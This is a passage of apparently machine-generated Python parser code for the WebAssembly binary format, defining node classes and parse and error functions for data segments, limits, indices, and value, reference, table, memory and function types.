col) class DeclarativeExpressionSegment(Node): """ class DeclarativeExpressionSegment { let id: 0x7 type: ReferenceType initializers: vec(Expression) } """ _fields = ('type', 'initializers') id = 0x7 def __init__(self, type, initializers): Node.__init__(self) self.type = type self.initializers = initializers def __repr__(self): return f'DeclarativeExpressionSegment(type={self.type!r}, initializers={self.initializers!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_DeclarativeExpressionSegment, fullparse) def _try_DeclarativeExpressionSegment(_text, _pos): # Begin Seq start_pos33 = _pos while True: # Begin Byte # 0x7 if (_pos < len(_text)) and (_text[_pos] == 7): _result = 7 _pos = (_pos + 1) _status = True else: _result = _raise_error393 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_ReferenceType, _pos)) # End Ref if not (_status): break type = _result # Begin Call # vec(Expression) func19 = _ParseFunction(_try_vec, (_try_Expression,), ()) (_status, _result, _pos) = (yield (3, func19, _pos)) # End Call if not (_status): break initializers = _result _result = DeclarativeExpressionSegment(type, initializers) _result._metadata.position_info = (start_pos33, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error393(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'DeclarativeExpressionSegment' rule, at the expression:\n" ' 0x7\n\n' 'Expected to match the byte value 0x7' ) raise ParseError((title + details), _pos, line, col) class DefaultDataSegment(Node): """ class DefaultDataSegment { let id: 0x0 offset: Expression contents: ByteVector } """ _fields = ('offset', 'contents') id = 0x0 def __init__(self, offset, contents): Node.__init__(self) self.offset = offset self.contents = contents def __repr__(self): return f'DefaultDataSegment(offset={self.offset!r}, contents={self.contents!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_DefaultDataSegment, fullparse) def _try_DefaultDataSegment(_text, _pos): # Begin Seq start_pos34 = _pos while True: # Begin Byte # 0x0 if (_pos < len(_text)) and (_text[_pos] == 0): _result = 0 _pos = (_pos + 1) _status = True else: _result = _raise_error403 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_Expression, _pos)) # End Ref if not (_status): break offset = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_ByteVector, _pos)) # End Ref if not (_status): break contents = _result _result = DefaultDataSegment(offset, contents) _result._metadata.position_info = (start_pos34, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error403(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'DefaultDataSegment' rule, at the expression:\n" ' 0x0\n\n' 'Expected to match the byte value 0x0' ) raise ParseError((title + details), _pos, line, col) class PassiveDataSegment(Node): """ class PassiveDataSegment { let id: 0x1 contents: ByteVector } """ _fields = ('contents',) id = 0x1 def __init__(self, contents): Node.__init__(self) self.contents = contents def __repr__(self): return f'PassiveDataSegment(contents={self.contents!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_PassiveDataSegment, fullparse) def _try_PassiveDataSegment(_text, _pos): # Begin Seq start_pos35 = _pos while True: # Begin Byte # 0x1 if (_pos < len(_text)) and (_text[_pos] == 1): _result = 1 _pos = (_pos + 1) _status = True else: _result = _raise_error411 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_ByteVector, _pos)) # End Ref if not (_status): break contents = _result _result = PassiveDataSegment(contents) _result._metadata.position_info = (start_pos35, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error411(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'PassiveDataSegment' rule, at the expression:\n" ' 0x1\n\n' 'Expected to match the byte value 0x1' ) raise ParseError((title + details), _pos, line, col) class ActiveDataSegment(Node): """ class ActiveDataSegment { let id: 0x2 index: MemoryIndex offset: Expression contents: ByteVector } """ _fields = ('index', 'offset', 'contents') id = 0x2 def __init__(self, index, offset, contents): Node.__init__(self) self.index = index self.offset = offset self.contents = contents def __repr__(self): return f'ActiveDataSegment(index={self.index!r}, offset={self.offset!r}, contents={self.contents!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_ActiveDataSegment, fullparse) def _try_ActiveDataSegment(_text, _pos): # Begin Seq start_pos36 = _pos while True: # Begin Byte # 0x2 if (_pos < len(_text)) and (_text[_pos] == 2): _result = 2 _pos = (_pos + 1) _status = True else: _result = _raise_error417 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_MemoryIndex, _pos)) # End Ref if not (_status): break index = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_Expression, _pos)) # End Ref if not (_status): break offset = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_ByteVector, _pos)) # End Ref if not (_status): break contents = _result _result = ActiveDataSegment(index, offset, contents) _result._metadata.position_info = (start_pos36, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error417(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'ActiveDataSegment' rule, at the expression:\n" ' 0x2\n\n' 'Expected to match the byte value 0x2' ) raise ParseError((title + details), _pos, line, col) def _try_Limits(_text, _pos): # Rule 'Limits' # Begin Choice farthest_err5 = _raise_error425 backtrack18 = farthest_pos5 = _pos while True: # Option 1: # Begin Ref (_status, _result, _pos) = (yield (3, _try_MinLimit, _pos)) # End Ref if _status: break if (farthest_pos5 < _pos): farthest_pos5 = _pos farthest_err5 = _result _pos = backtrack18 # Option 2: # Begin Ref (_status, _result, _pos) = (yield (3, _try_MinMaxLimits, _pos)) # End Ref if _status: break if (farthest_pos5 < _pos): farthest_pos5 = _pos farthest_err5 = _result _pos = farthest_pos5 _result = farthest_err5 break # End Choice yield (_status, _result, _pos) def _parse_Limits(text, pos=0, fullparse=True): return _run(text, pos, _try_Limits, fullparse) Limits = Rule('Limits', _parse_Limits, """ Limits = MinLimit | MinMaxLimits """) def _raise_error425(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'Limits' rule, at the expression:\n" ' MinLimit | MinMaxLimits\n\n' 'Unexpected input' ) raise ParseError((title + details), _pos, line, col) class MinLimit(Node): """ class MinLimit { let id: 0x0 min: u32 } """ _fields = ('min',) id = 0x0 def __init__(self, min): Node.__init__(self) self.min = min def __repr__(self): return f'MinLimit(min={self.min!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_MinLimit, fullparse) def _try_MinLimit(_text, _pos): # Begin Seq start_pos37 = _pos while True: # Begin Byte # 0x0 if (_pos < len(_text)) and (_text[_pos] == 0): _result = 0 _pos = (_pos + 1) _status = True else: _result = _raise_error431 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break min = _result _result = MinLimit(min) _result._metadata.position_info = (start_pos37, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error431(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'MinLimit' rule, at the expression:\n" ' 0x0\n\n' 'Expected to match the byte value 0x0' ) raise ParseError((title + details), _pos, line, col) class MinMaxLimits(Node): """ class MinMaxLimits { let id: 0x1 min: u32 max: u32 } """ _fields = ('min', 'max') id = 0x1 def __init__(self, min, max): Node.__init__(self) self.min = min self.max = max def __repr__(self): return f'MinMaxLimits(min={self.min!r}, max={self.max!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_MinMaxLimits, fullparse) def _try_MinMaxLimits(_text, _pos): # Begin Seq start_pos38 = _pos while True: # Begin Byte # 0x1 if (_pos < len(_text)) and (_text[_pos] == 1): _result = 1 _pos = (_pos + 1) _status = True else: _result = _raise_error437 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break min = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break max = _result _result = MinMaxLimits(min, max) _result._metadata.position_info = (start_pos38, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error437(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'MinMaxLimits' rule, at the expression:\n" ' 0x1\n\n' 'Expected to match the byte value 0x1' ) raise ParseError((title + details), _pos, line, col) def _try_DataIndex(_text, _pos): # Rule 'DataIndex' # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref yield (_status, _result, _pos) def _parse_DataIndex(text, pos=0, fullparse=True): return _run(text, pos, _try_DataIndex, fullparse) DataIndex = Rule('DataIndex', _parse_DataIndex, """ DataIndex = u32 """) def _try_FunctionIndex(_text, _pos): # Rule 'FunctionIndex' # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref yield (_status, _result, _pos) def _parse_FunctionIndex(text, pos=0, fullparse=True): return _run(text, pos, _try_FunctionIndex, fullparse) FunctionIndex = Rule('FunctionIndex', _parse_FunctionIndex, """ FunctionIndex = u32 """) def _try_ElementIndex(_text, _pos): # Rule 'ElementIndex' # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref yield (_status, _result, _pos) def _parse_ElementIndex(text, pos=0, fullparse=True): return _run(text, pos, _try_ElementIndex, fullparse) ElementIndex = Rule('ElementIndex', _parse_ElementIndex, """ ElementIndex = u32 """) def _try_GlobalIndex(_text, _pos): # Rule 'GlobalIndex' # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref yield (_status, _result, _pos) def _parse_GlobalIndex(text, pos=0, fullparse=True): return _run(text, pos, _try_GlobalIndex, fullparse) GlobalIndex = Rule('GlobalIndex', _parse_GlobalIndex, """ GlobalIndex = u32 """) def _try_LabelIndex(_text, _pos): # Rule 'LabelIndex' # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref yield (_status, _result, _pos) def _parse_LabelIndex(text, pos=0, fullparse=True): return _run(text, pos, _try_LabelIndex, fullparse) LabelIndex = Rule('LabelIndex', _parse_LabelIndex, """ LabelIndex = u32 """) def _try_LocalIndex(_text, _pos): # Rule 'LocalIndex' # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref yield (_status, _result, _pos) def _parse_LocalIndex(text, pos=0, fullparse=True): return _run(text, pos, _try_LocalIndex, fullparse) LocalIndex = Rule('LocalIndex', _parse_LocalIndex, """ LocalIndex = u32 """) def _try_MemoryIndex(_text, _pos): # Rule 'MemoryIndex' # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref yield (_status, _result, _pos) def _parse_MemoryIndex(text, pos=0, fullparse=True): return _run(text, pos, _try_MemoryIndex, fullparse) MemoryIndex = Rule('MemoryIndex', _parse_MemoryIndex, """ MemoryIndex = u32 """) def _try_TableIndex(_text, _pos): # Rule 'TableIndex' # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref yield (_status, _result, _pos) def _parse_TableIndex(text, pos=0, fullparse=True): return _run(text, pos, _try_TableIndex, fullparse) TableIndex = Rule('TableIndex', _parse_TableIndex, """ TableIndex = u32 """) def _try_TypeIndex(_text, _pos): # Rule 'TypeIndex' # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref yield (_status, _result, _pos) def _parse_TypeIndex(text, pos=0, fullparse=True): return _run(text, pos, _try_TypeIndex, fullparse) TypeIndex = Rule('TypeIndex', _parse_TypeIndex, """ TypeIndex = u32 """) def _try_BlockType(_text, _pos): # Rule 'BlockType' # Begin Choice farthest_err6 = _raise_error461 backtrack19 = farthest_pos6 = _pos while True: # Option 1: # Begin Discard # 0x40 >> `'empty'` while True: # Begin Byte # 0x40 if (_pos < len(_text)) and (_text[_pos] == 64): _result = 64 _pos = (_pos + 1) _status = True else: _result = _raise_error463 _status = False # End Byte if not (_status): break _result = 'empty' _status = True break # End Discard if _status: break if (farthest_pos6 < _pos): farthest_pos6 = _pos farthest_err6 = _result _pos = backtrack19 # Option 2: # Begin Ref (_status, _result, _pos) = (yield (3, _try_ValueType, _pos)) # End Ref if _status: break if (farthest_pos6 < _pos): farthest_pos6 = _pos farthest_err6 = _result _pos = backtrack19 # Option 3: # Begin Ref (_status, _result, _pos) = (yield (3, _try_SignedInt, _pos)) # End Ref if _status: break if (farthest_pos6 < _pos): farthest_pos6 = _pos farthest_err6 = _result _pos = farthest_pos6 _result = farthest_err6 break # End Choice yield (_status, _result, _pos) def _parse_BlockType(text, pos=0, fullparse=True): return _run(text, pos, _try_BlockType, fullparse) BlockType = Rule('BlockType', _parse_BlockType, """ BlockType = 0x40 >> `'empty'` | ValueType | SignedInt """) def _raise_error461(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'BlockType' rule, at the expression:\n" " 0x40 >> `'empty'` | ValueType | SignedInt\n\n" 'Unexpected input' ) raise ParseError((title + details), _pos, line, col) def _raise_error463(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'BlockType' rule, at the expression:\n" ' 0x40\n\n' 'Expected to match the byte value 0x40' ) raise ParseError((title + details), _pos, line, col) class FunctionType(Node): """ class FunctionType { let id: 0x60 parameter_types: vec(ValueType) result_types: vec(ValueType) } """ _fields = ('parameter_types', 'result_types') id = 0x60 def __init__(self, parameter_types, result_types): Node.__init__(self) self.parameter_types = parameter_types self.result_types = result_types def __repr__(self): return f'FunctionType(parameter_types={self.parameter_types!r}, result_types={self.result_types!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_FunctionType, fullparse) def _try_FunctionType(_text, _pos): # Begin Seq start_pos39 = _pos while True: # Begin Byte # 0x60 if (_pos < len(_text)) and (_text[_pos] == 96): _result = 96 _pos = (_pos + 1) _status = True else: _result = _raise_error470 _status = False # End Byte if not (_status): break id = _result # Begin Call # vec(ValueType) func20 = _ParseFunction(_try_vec, (_try_ValueType,), ()) (_status, _result, _pos) = (yield (3, func20, _pos)) # End Call if not (_status): break parameter_types = _result # Begin Call # vec(ValueType) func21 = _ParseFunction(_try_vec, (_try_ValueType,), ()) (_status, _result, _pos) = (yield (3, func21, _pos)) # End Call if not (_status): break result_types = _result _result = FunctionType(parameter_types, result_types) _result._metadata.position_info = (start_pos39, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error470(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'FunctionType' rule, at the expression:\n" ' 0x60\n\n' 'Expected to match the byte value 0x60' ) raise ParseError((title + details), _pos, line, col) class GlobalType(Node): """ class GlobalType { type: ValueType modifier: 0x0 >> `'const'` | 0x1 >> `'var'` } """ _fields = ('type', 'modifier') def __init__(self, type, modifier): Node.__init__(self) self.type = type self.modifier = modifier def __repr__(self): return f'GlobalType(type={self.type!r}, modifier={self.modifier!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_GlobalType, fullparse) def _try_GlobalType(_text, _pos): # Begin Seq start_pos40 = _pos while True: # Begin Ref (_status, _result, _pos) = (yield (3, _try_ValueType, _pos)) # End Ref if not (_status): break type = _result # Begin Choice farthest_err7 = _raise_error484 backtrack20 = farthest_pos7 = _pos while True: # Option 1: # Begin Discard # 0x0 >> `'const'` while True: # Begin Byte # 0x0 if (_pos < len(_text)) and (_text[_pos] == 0): _result = 0 _pos = (_pos + 1) _status = True else: _result = _raise_error486 _status = False # End Byte if not (_status): break _result = 'const' _status = True break # End Discard if _status: break if (farthest_pos7 < _pos): farthest_pos7 = _pos farthest_err7 = _result _pos = backtrack20 # Option 2: # Begin Discard # 0x1 >> `'var'` while True: # Begin Byte # 0x1 if (_pos < len(_text)) and (_text[_pos] == 1): _result = 1 _pos = (_pos + 1) _status = True else: _result = _raise_error489 _status = False # End Byte if not (_status): break _result = 'var' _status = True break # End Discard if _status: break if (farthest_pos7 < _pos): farthest_pos7 = _pos farthest_err7 = _result _pos = farthest_pos7 _result = farthest_err7 break # End Choice if not (_status): break modifier = _result _result = GlobalType(type, modifier) _result._metadata.position_info = (start_pos40, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error484(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'GlobalType' rule, at the expression:\n" " 0x0 >> `'const'` | 0x1 >> `'var'`\n\n" 'Unexpected input' ) raise ParseError((title + details), _pos, line, col) def _raise_error486(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'GlobalType' rule, at the expression:\n" ' 0x0\n\n' 'Expected to match the byte value 0x0' ) raise ParseError((title + details), _pos, line, col) def _raise_error489(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'GlobalType' rule, at the expression:\n" ' 0x1\n\n' 'Expected to match the byte value 0x1' ) raise ParseError((title + details), _pos, line, col) class MemoryType(Node): """ class MemoryType { limits: Limits } """ _fields = ('limits',) def __init__(self, limits): Node.__init__(self) self.limits = limits def __repr__(self): return f'MemoryType(limits={self.limits!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_MemoryType, fullparse) def _try_MemoryType(_text, _pos): # Begin Seq start_pos41 = _pos while True: # Begin Ref (_status, _result, _pos) = (yield (3, _try_Limits, _pos)) # End Ref if not (_status): break limits = _result _result = MemoryType(limits) _result._metadata.position_info = (start_pos41, _pos) break # End Seq yield (_status, _result, _pos) def _try_NumberType(_text, _pos): # Rule 'NumberType' # Begin Choice farthest_err8 = _raise_error496 backtrack21 = farthest_pos8 = _pos while True: # Option 1: # Begin Discard # 0x7f >> `'i32'` while True: # Begin Byte # 0x7f if (_pos < len(_text)) and (_text[_pos] == 127): _result = 127 _pos = (_pos + 1) _status = True else: _result = _raise_error498 _status = False # End Byte if not (_status): break _result = 'i32' _status = True break # End Discard if _status: break if (farthest_pos8 < _pos): farthest_pos8 = _pos farthest_err8 = _result _pos = backtrack21 # Option 2: # Begin Discard # 0x7e >> `'i64'` while True: # Begin Byte # 0x7e if (_pos < len(_text)) and (_text[_pos] == 126): _result = 126 _pos = (_pos + 1) _status = True else: _result = _raise_error501 _status = False # End Byte if not (_status): break _result = 'i64' _status = True break # End Discard if _status: break if (farthest_pos8 < _pos): farthest_pos8 = _pos farthest_err8 = _result _pos = backtrack21 # Option 3: # Begin Discard # 0x7d >> `'f32'` while True: # Begin Byte # 0x7d if (_pos < len(_text)) and (_text[_pos] == 125): _result = 125 _pos = (_pos + 1) _status = True else: _result = _raise_error504 _status = False # End Byte if not (_status): break _result = 'f32' _status = True break # End Discard if _status: break if (farthest_pos8 < _pos): farthest_pos8 = _pos farthest_err8 = _result _pos = backtrack21 # Option 4: # Begin Discard # 0x7c >> `'f64'` while True: # Begin Byte # 0x7c if (_pos < len(_text)) and (_text[_pos] == 124): _result = 124 _pos = (_pos + 1) _status = True else: _result = _raise_error507 _status = False # End Byte if not (_status): break _result = 'f64' _status = True break # End Discard if _status: break if (farthest_pos8 < _pos): farthest_pos8 = _pos farthest_err8 = _result _pos = farthest_pos8 _result = farthest_err8 break # End Choice yield (_status, _result, _pos) def _parse_NumberType(text, pos=0, fullparse=True): return _run(text, pos, _try_NumberType, fullparse) NumberType = Rule('NumberType', _parse_NumberType, """ NumberType = 0x7f >> `'i32'` | 0x7e >> `'i64'` | 0x7d >> `'f32'` | 0x7c >> `'f64'` """) def _raise_error496(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'NumberType' rule, at the expression:\n" " 0x7f >> `'i32'` | 0x7e >> `'i64'` | 0x7d >> `'f32'` | 0x7c >> `'f64'`\n\n" 'Unexpected input' ) raise ParseError((title + details), _pos, line, col) def _raise_error498(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'NumberType' rule, at the expression:\n" ' 0x7f\n\n' 'Expected to match the byte value 0x7f' ) raise ParseError((title + details), _pos, line, col) def _raise_error501(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'NumberType' rule, at the expression:\n" ' 0x7e\n\n' 'Expected to match the byte value 0x7e' ) raise ParseError((title + details), _pos, line, col) def _raise_error504(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'NumberType' rule, at the expression:\n" ' 0x7d\n\n' 'Expected to match the byte value 0x7d' ) raise ParseError((title + details), _pos, line, col) def _raise_error507(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'NumberType' rule, at the expression:\n" ' 0x7c\n\n' 'Expected to match the byte value 0x7c' ) raise ParseError((title + details), _pos, line, col) class TableType(Node): """ class TableType { type: ReferenceType limits: Limits } """ _fields = ('type', 'limits') def __init__(self, type, limits): Node.__init__(self) self.type = type self.limits = limits def __repr__(self): return f'TableType(type={self.type!r}, limits={self.limits!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_TableType, fullparse) def _try_TableType(_text, _pos): # Begin Seq start_pos42 = _pos while True: # Begin Ref (_status, _result, _pos) = (yield (3, _try_ReferenceType, _pos)) # End Ref if not (_status): break type = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_Limits, _pos)) # End Ref if not (_status): break limits = _result _result = TableType(type, limits) _result._metadata.position_info = (start_pos42, _pos) break # End Seq yield (_status, _result, _pos) def _try_ReferenceType(_text, _pos): # Rule 'ReferenceType' # Begin Choice farthest_err9 = _raise_error516 backtrack22 = farthest_pos9 = _pos while True: # Option 1: # Begin Discard # 0x70 >> `'funcref'` while True: # Begin Byte # 0x70 if (_pos < len(_text)) and (_text[_pos] == 112): _result = 112 _pos = (_pos + 1) _status = True else: _result = _raise_error518 _status = False # End Byte if not (_status): break _result = 'funcref' _status = True break # End Discard if _status: break if (farthest_pos9 < _pos): farthest_pos9 = _pos farthest_err9 = _result _pos = backtrack22 # Option 2: # Begin Discard # 0x6f >> `'externref'` while True: # Begin Byte # 0x6f if (_pos < len(_text)) and (_text[_pos] == 111): _result = 111 _pos = (_pos + 1) _status = True else: _result = _raise_error521 _status = False # End Byte if not (_status): break _result = 'externref' _status = True break # End Discard if _status: break if (farthest_pos9 < _pos): farthest_pos9 = _pos farthest_err9 = _result _pos = farthest_pos9 _result = farthest_err9 break # End Choice yield (_status, _result, _pos) def _parse_ReferenceType(text, pos=0, fullparse=True): return _run(text, pos, _try_ReferenceType, fullparse) ReferenceType = Rule('ReferenceType', _parse_ReferenceType, """ ReferenceType = 0x70 >> `'funcref'` | 0x6f >> `'externref'` """) def _raise_error516(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'ReferenceType' rule, at the expression:\n" " 0x70 >> `'funcref'` | 0x6f >> `'externref'`\n\n" 'Unexpected input' ) raise ParseError((title + details), _pos, line, col) def _raise_error518(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'ReferenceType' rule, at the expression:\n" ' 0x70\n\n' 'Expected to match the byte value 0x70' ) raise ParseError((title + details), _pos, line, col) def _raise_error521(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'ReferenceType' rule, at the expression:\n" ' 0x6f\n\n' 'Expected to match the byte value 0x6f' ) raise ParseError((title + details), _pos, line, col) def _try_ValueType(_text, _pos): # Rule 'ValueType' # Begin Choice farthest_err10 = _raise_error524 backtrack23 = farthest_pos10 = _pos while True: # Option 1: # Begin Ref (_status, _result, _pos) = (yield (3, _try_NumberType, _pos)) # End Ref if _status: break if (farthest_pos10 < _pos): farthest_pos10 = _pos farthest_err10 = _result _pos = backtrack23 # Option 2: # Begin Ref (_status, _result, _pos) = (yield (3, _try_ReferenceType, _pos)) # End Ref if _status: break if (farthest_pos10 < _pos): farthest_pos10 = _pos farthest_err10 = _result _pos = farthest_pos10 _result = farthest_err10 break # End Choice yield (_status, _result, _pos) def _parse_ValueType(text, pos=0, fullparse=True): return _run(text, pos, _try_ValueType, fullparse) ValueType = Rule('ValueType', _parse_ValueType, """ ValueType = NumberType | ReferenceType """) def _raise_error524(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'ValueType' rule, at the expression:\n" ' NumberType | ReferenceType\n\n' 'Unexpected input' ) raise ParseError((title + details), _pos, line, col) def _try_vec(_text, _pos, element): # Rule 'vec' # Begin Let # let length = u32 in # element{length} # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if _status: length = _result # Begin List # element{length} staging14 = [] while True: checkpoint14 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, element, _pos)) # End Ref if not (_status): _pos = checkpoint14 break staging14.append(_result) if (len(staging14) == length): break if (len(staging14) >= length): _result = staging14 _status = True # End List # End Let yield (_status, _result, _pos) def _parse_vec(text, pos=0, fullparse=True): return _run(text, pos, _try_vec, fullparse) vec = Rule('vec', _parse_vec, """ vec(element) = let length = u32 in element{length} """) def _try_ByteString(_text, _pos, size): # Rule 'ByteString' # Begin Apply # bytechar{size} |> `lambda x: b''.join(x)` # Begin List # bytechar{size} staging15 = [] while True: checkpoint15 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_bytechar, _pos)) # End Ref if not (_status): _pos = checkpoint15 break staging15.append(_result) if (len(staging15) == size): break if (len(staging15) >= size): _result = staging15 _status = True # End List if _status: arg2 = _result _result = lambda x: b''.join(x) _status = True _result = _result(arg2) # End Apply yield (_status, _result, _pos) def _parse_ByteString(text, pos=0, fullparse=True): return _run(text, pos, _try_ByteString, fullparse) ByteString = Rule('ByteString', _parse_ByteString, """ ByteString(size) = bytechar{size} |> `lambda x: b''.join(x)` """) def _try_ByteVector(_text, _pos): # Rule 'ByteVector' # Begin Apply # vec(bytechar) |> `lambda x: b''.join(x)` # Begin Call # vec(bytechar) func22 = _ParseFunction(_try_vec, (_try_bytechar,), ()) (_status, _result, _pos) = (yield (3, func22, _pos)) # End Call if _status: arg3 = _result _result = lambda x: b''.join(x) _status = True _result = _result(arg3) # End Apply yield (_status, _result, _pos) def _parse_ByteVector(text, 